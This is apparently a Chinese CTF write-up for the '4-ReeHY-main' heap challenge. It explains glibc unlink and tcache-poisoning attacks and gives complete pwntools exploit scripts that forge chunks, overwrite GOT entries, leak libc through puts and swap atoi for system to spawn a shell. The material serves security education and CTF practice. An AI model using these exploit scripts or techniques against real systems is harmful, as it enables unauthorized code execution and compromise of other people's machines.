Libc2.26以下的解法
使用的是double free的unlink漏洞
unlink是利用glibc malloc 的内存回收机制造成攻击的,核心就在于当两个free的堆块在物理上相邻时,会将他们合并,并将原来free的堆块在原来的链表中解链,加入新的链表中,但这样的合并是有条件的,向前或向后合并。
Unsorted bin使用双向链表维护被释放的空间,如果有一个堆块准备释放,它的物理相邻地址处如果有空闲堆块,并且空闲堆块不是TOP块,则会与相邻的堆块合并,即unlink后。相当于从双向链表里删除P,这里的关键就是
FD->bk = BK
BK->fd = FD
- #define unlink(P, BK, FD) { \
- FD = P->fd; \
- BK = P->bk; \
- if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
- malloc_printerr (check_action, "corrupted double-linked list", P); \
- else { \
- FD->bk = BK; \
- BK->fd = FD; \
- ........
- }
以本题为例
0x6020E0处是一个数组,用于保存4个堆的地址,当我们需要编辑时,程序从这个数组里找到对应的堆地址,去访问。假如我们有办法让这个数组里存的是其他地址(比如某些函数的GOT表地址),那么当我们编辑的时候,不就可以对GOT表修改了吗。
那么,我们如何做到修改这个数组的内容呢?这个数组只有在创建堆的时候,才有赋值。
我们可以利用unlink,先想办法让数组里某一个堆地址指向这个数组的附近,那么我们对那个堆编辑时就是编辑这个数组附近的那个地址。
假如我们有一个这样的堆
Chunk0(空闲)
Prevsize=0 size=0x101
Fd =0x6020C8 BK =0x6020D0
DATA=XXXXXXXXXXXXXXXXXXXX
Chunk1(使用中)
Prevsize=0x100 size=0x100
DATA=xxxxxxxxxxxxxxxxxxxx
那么,当我们释放chunk1的时候,会与chunk0发生unlink
首先,内存管理程序检查chunk1的size=0x100,即最后的一个bit为0,说明前一个chunk处于空闲状态,那么,它会与前一个块发生合并,即从unsorted bin双向链表里删除前一个块,然后与自己合并后再加入unsorted bin
那么会调用unlink(prev_chunk(chunk1),NULL,NULL)
在unlink函数中
P = chunk0
FD=chunk0->fd = 0x6020C8
BK=chunk0->bk = 0x6020D0
根据chunk的数据结构(请看glibc源码分析),我们可以知道
FD->bk = *(FD+(8*3)) = *(0x6020E0)
BK->fd = *(BK + (8*2)) = *(0x6020E0)
而0x6020E0就是存放4个堆地址的数组的地址
*(0x6020E0)就是数组的第一个元素,也就是堆0的地址,堆0也就是我们这里的P
这样,绕过了corrupted double-linked list检查
接下来
FD->bk = BK即*(0x6020E0) = 0x6020D0
BK->fd = FD即*(0x6020E0) = 0x6020C8
即数组的第1个元素被我们改成了0x6020C8,也就是相当于堆0指向了0x6020C8
那么,我们编辑堆0也就是在编辑0x6020C8处,而此处的下方就是保存堆指针的数组,那么就可以构造payload来修改这个数组,这就是原理
通过以上分析,我们可以这样,在真正的chunk0里,构造一个假的chunk,并伪造它的状态为释放的状态。
要达到这个目的,就需要堆溢出,覆盖chunk1的头信息
首先,这个程序的delete功能没有检查下标为负数的情况
经过调试,当我们delete(-2)时,释放的正好是0x6020C0处元素指向的堆(保存4个堆大小的堆)
它的大小为0x14,释放后归于fastbin
当我们再次malloc(0x14)申请时,便会返回这个释放后的堆的地址(fastbin的特性,使用单向链表维护释放后的块,再次申请时最先返回最后放入的那个块,类似于栈),于是我们编辑申请的这个堆,就是编辑保存4个堆大小的堆,这个大小信息在 编辑功能时会用到,我们要先溢出堆,就需要修改大小限制
我们edit申请的这个堆,构造payload,修改第一个堆的大小信息为0x200,这样我们在edit第一个堆时,就能溢出了
那么接下来,就是构造假的堆,来触发unlink了。
Chunk1的prev_size和size也是关键
#define prev_chunk(p) ((mchunkptr)( ((char*)(p)) - ((p)->prev_size) ))
Chunk1的地址减去prev_size就是chunk0,还有就是size的最后1个bit为0,代表前一个块chunk0处于空闲状态
实际上,真正的chunk0是chunk1-0x110,因为chunk0也有prev_size和size字段,我们这里构造假的空闲chunk0’,并且chunk1的prev_size为0x100,让系统误以为chunk0是在chunk1-0x100处开始的,这就骗过了系统。
至于那个假的chunk的fd和bk,它的值关键,既要绕过检测,也要达到我们的目的。这里有一个公式,假如,被unlink的块P指针的地址为Paddr,那么设置fd=Paddr – 0x18,设置bk = Paddr – 0x10,根据chunk的数据结构可以很容易推出,最终导致P的指针指向了Paddr – 0x18
那么接下来,我们就可以修改数组里保存的4个堆指针了,让它们指向一些关键的地方。
然后再分别edit(0,xx),edit(1,xxx),edit(2,xxx),edit(3,xxxx),修改关键地方的数据。比如修改got表。最终getshell。
我们完整的脚本
- #coding:utf8
- #注意glib 2.26开始,加入了tcache机制,本方案不在试用,但仍然可以利用其它方案
- from pwn import *
- from LibcSearcher import *
- context.log_level = 'debug'
- sh = process('./4-ReeHY-main')
- #elf = ELF('./4-ReeHY-main')
- #libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
- #sh = remote('111.198.29.45',54211)
- def welcome():
- sh.sendlineafter('$','seaase')
- def create(size,index,content):
- sh.sendlineafter('$','1')
- sh.sendlineafter('Input size\n',str(size))
- sh.sendlineafter('Input cun\n',str(index))
- sh.sendafter('Input content\n',content)
- def delete(index):
- sh.sendlineafter('$','2')
- sh.sendlineafter('Chose one to dele\n',str(index))
- def edit(index,content):
- sh.sendlineafter('$','3')
- sh.sendlineafter('Chose one to edit\n',str(index))
- sh.sendafter('Input the content\n',content)
- #处理开始
- welcome()
- #先创建两个0x100的堆(不要太大,也不要太小,这样使用unsorted bin)
- create(0x100,0,'a'*0x100)
- create(0x100,1,'b'*0x100)
- #delete功能没有检查下标越界,delete(-2)就是释放记录4个cun大小的那个堆空间
- delete(-2)
- payload = p32(0x200) + p32(0x100)
- #根据堆fastbin的特性,新申请的空间位于刚刚释放的那个小内存处,将覆盖原来的那个内容,相当于qword_6020C0[0] = 0x200,
- #这样功能3 read的时候就可以溢出堆(本来只读取那么多,现在可以多读取0x100字节)
- create(0x14,2,payload)
- #现在我们要在第一个堆里构造一个假的堆结构了
- # prev_size size 末尾的1标志前一个块不空闲
- payload = p64(0) + p64(0x101)
- # FD 和 BK分别是后一个块的指针和前一个块的指针,构成双向链表
- # if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
- # malloc_printerr (check_action, "corrupted double-linked list", P);
- #为了绕过验证,首先
- # FD = *(P + size + 0x10)
- # BK = *(P - Prev_Size + 0x18)
- # FD->bk = *(P + size + 0x10) - FD->Prev_Size + 0X18
- # BK->fd = *(P - Prev_Size + 0x18) + BK->size + 0x10
- # 上面即检测双向链表的完整性
- # 如果通过
- # unlink里的关键代码
- # FD->bk = BK;
- # BK->fd = FD;
- # 我们现在的目的是,利用这两个指针修改的操作,来修改我们想要的位置
- # 这个程序中,在0x6020E0是一个数组,用来保存着4个堆的指针
- # 如果我们想办法把这些堆指针改成某些函数的got表地址,那么我们下次read时,数据就会覆盖got表
- # 因此,如果 (P + size + 0x10) = 0x6020E0 ,(P - Prev_Size + 0x18) = 0x6020E0
- # 即P + size = 0x6020D0,P - Prev_Size = 0x6020C8
- # 即BK = 0x6020D0 ,FD = 0x6020C8
- # 即P->fd = 0x6020C8,P->bk = 0x6020D0
- # 现在,主角是P,我们让第一个堆为主角
- payload += p64(0x6020C8) + p64(0x6020D0)
- #填充满第一个块
- payload += 'a'*(0x100-4*8);
- #溢出到第二个块
- # prev_size size
- # 对于使用中的块,它的结构是这样的
- # prev_size 8 byte
- # size 8 byte
- #修改第二个块的Prev_Size,造成前一个块被释放的假象
- payload += p64(0x100) + p64(0x100 + 2 * 8)
- #发送payload,修改堆结构
- edit(0,payload)
- #现在我们调用delete(1)释放第二个块,它会和我们伪造的块进行unlink合并
- #
- # 执行
- # FD->bk = BK;
- # BK->fd = FD;
- #
- # 即*(0x6020C8+0x18) = 0x6020D0
- # *(0x6020D0 + 0x10) = 0x6020C8
- # 最终即0x6020E0 = 0x6020C8
- # 这样,由于0x6020E0处是用于保存第1个堆指针的,现在被我们指向了0x6020C8处,于是我们向第1个堆输入数据都会存于这里
- #触发unlink
- delete(1)
- elf = ELF('./4-ReeHY-main')
- free_got = elf.got['free']
- puts_got = elf.got['puts']
- atoi_got = elf.got['atoi']
- puts_plt = elf.plt['puts']
- #于是,我们可以根据结构,布局payload来覆盖0x6020E04处的几个堆的指针
- payload = '\x00'*0x18 #padding
- payload += p64(free_got) + p64(1)
- payload += p64(puts_got) + p64(1)
- payload += p64(atoi_got) + p64(1)
- #执行后,前3个堆指针都被我们指向了几个函数的got地址处
- edit(0,payload)
- #修改free的got地址为puts的plt地址
- edit(0,p64(puts_plt))
- #即调用puts_plt(puts_got),泄露puts的加载地址
- delete(1)
- puts_addr = u64(sh.recv(6).ljust(8,'\x00'))
- print hex(puts_addr)
- libc = LibcSearcher('puts',puts_addr)
- libc_base = puts_addr - libc.dump('puts')
- system_addr = libc_base + libc.dump('system');
- #修改atoi的got地址为system的got地址
- edit(2,p64(system_addr))
- #get shell
- sh.sendlineafter('$','/bin/sh')
- sh.interactive()
以上解法在libc2.26以前测试成功。然而,我们的目的并不只是为了获得flag。我们要更广泛的学习。在libc2.26及以后,加入了tcache机制,使得上述方案有些改变,但是基本原理还是一样。
Libc2.26即以上的解法
Tcache是libc2.26之后引进的一种新机制,类似于fastbin一样的东西,每条链上最多可以有 7 个 chunk,free的时候当tcache满了才放入fastbin,unsorted bin,malloc的时候优先去tcache找
相比较double free,tcache机制反而使得我们的攻击变得简单
Tcache使用单项链表维护。tache posioning 和 fastbin attack类似,而且限制更加少,不会检查size,直接修改 tcache 中的 fd,不需要伪造任何 chunk 结构即可实现 malloc 到任何地址。tcache机制允许,将空闲的chunk以链表的形式缓存在线程各自tcache的bin中。下一次malloc时可以优先在tcache中寻找符合的chunk并提取出来。他缺少充分的安全检查,如果有机会构造内部chunk数据结构的特殊字段,我们可以有机会获得任意想要的地址。
我们看看tcache关键处的源代码
- static __always_inline void *
- tcache_get (size_t tc_idx)
- {
- tcache_entry *e = tcache->entries[tc_idx];
- //idx防止越界
- assert (tc_idx < TCACHE_MAX_BINS);
- //确实有块
- assert (tcache->entries[tc_idx] > 0);
- //取出第一个块
- tcache->entries[tc_idx] = e->next;
- //计数减少
- --(tcache->counts[tc_idx]);
- //key设置为null
- e->key = NULL;
- //返回chunk
- return (void *) e;
- }
其实就是取出单链表头结返回,然后设置新的头结点
假如我们写了这样的程序
- #include<stdio.h>
- #include<malloc.h>
- #include<string.h>
- int main(int n,char **args) {
- char buf0[20] = "hello";
- char *buf1 = (char *)malloc(32);
- char *buf2 = (char *)malloc(32);
- char *buf3;
- char *buf4;
- memset(buf1,'a',32);
- memset(buf2,'b',32);
- free(buf2);
- scanf("%s",buf1);
- buf3 = (char *)malloc(32);
- buf4 = (char *)malloc(32);
- scanf("%s",buf4);
- printf("%s",buf0);
- return 0;
- }
Free buf2后,buf2块被放入tcache,其中,块的fd指向下一个空闲块,这里,我们只释放了一个块,如果我们再释放一个,那么buf2的fd就会指向那个块。当我们重新申请一样大小的堆时,从tcache的头取出一个块返回给用户,然后下一个空闲块成为新的头。假如我们伪造fd指向我们需要修改的地址处,那么我们再次malloc时便可以让堆指针指向那个地址处,于是我们就能修改那个地方的内容了。
上述的脚本为
- from pwn import *
- sh = process('./test')
- #0x7FFFFFFFE560就是我们的目标地址
- payload = 'a'*32 + p64(0) + p64(0x31)
- payload += p64(0x7FFFFFFFE560)
- sh.sendline(payload)
- sh.sendline('hello,hacker!\n');
- sh.interactive()
0x7FFFFFFFE560是存放hello字符串的位置,我们通过tcache攻击,修改了该处的内容为hello,hacker!\n
后面都是同样的道理,于是本题,我们的脚本为
- #coding:utf8
- #本方案基于tcache机制,适用于libc2.26即更高版本的环境,以下版本不适用
- from pwn import *
- from LibcSearcher import *
- context.log_level = 'debug'
- sh = process('./4-ReeHY-main')
- #sh = remote('111.198.29.45',33297)
- def welcome():
- sh.sendlineafter('$','seaase')
- def create(size,index,content):
- sh.sendlineafter('$','1')
- sh.sendlineafter('Input size\n',str(size))
- sh.sendlineafter('Input cun\n',str(index))
- sh.sendafter('Input content\n',content)
- def delete(index):
- sh.sendlineafter('$','2')
- sh.sendlineafter('Chose one to dele\n',str(index))
- def edit(index,content):
- sh.sendlineafter('$','3')
- sh.sendlineafter('Chose one to edit\n',str(index))
- sh.sendafter('Input the content\n',content)
- welcome()
- #开辟两个空间
- create(0x40,0,'a'*0x40)
- create(0x40,1,'b'*0x40)
- #溢出,释放保存堆大小的数组
- delete(-2)
- #构造payload修改第二个堆的大小信息,只是信息,堆的大小并没有改变
- payload = p32(0x80) + p32(0x40)
- create(0x14,2,payload)
- #删除第二个堆
- delete(1)
- #构造payload覆盖第二个堆的fd指针
- payload = 'a' * 0x40
- payload += p64(0) + p64(0x51)
- #覆盖块2的fd
- payload += p64(0x6020e0)
- edit(0,payload)
- #重新申请回来这个空间
- create(0x40,1,'c'*0x40)
- elf = ELF('./4-ReeHY-main')
- free_got = elf.got['free']
- puts_got = elf.got['puts']
- atoi_got = elf.got['atoi']
- puts_plt = elf.plt['puts']
- payload = p64(free_got) + p64(1)
- payload += p64(puts_got) + p64(1)
- payload += p64(atoi_got) + p64(1)
- #接下来,我们申请的堆指针指向0x6020e0
- #那么我们可以为所欲为了
- #覆盖数组里的前三个堆指针分别为free_got、puts_got、atoi_got的地址
- #于是,堆指针0指向free,堆指针1指向puts,堆指针2指向atoi
- create(0x40,3,payload)
- #修改free的got地址为puts的plt地址
- edit(0,p64(puts_plt))
- #相当于puts(puts_got)
- #泄露puts地址
- delete(1)
- #获取puts的加载地址
- puts_addr = u64(sh.recv(6).ljust(8,'\x00'))
- #LibcSearcher搜索数据库,查询libc版本
- libc = LibcSearcher('puts',puts_addr)
- libc_base = puts_addr - libc.dump('puts')
- #获取system的地址
- system_addr = libc_base + libc.dump('system')
- #修改atoi的got地址为system的地址
- edit(2,p64(system_addr))
- #getshell
- sh.sendlineafter('$','/bin/sh')
- sh.interactive()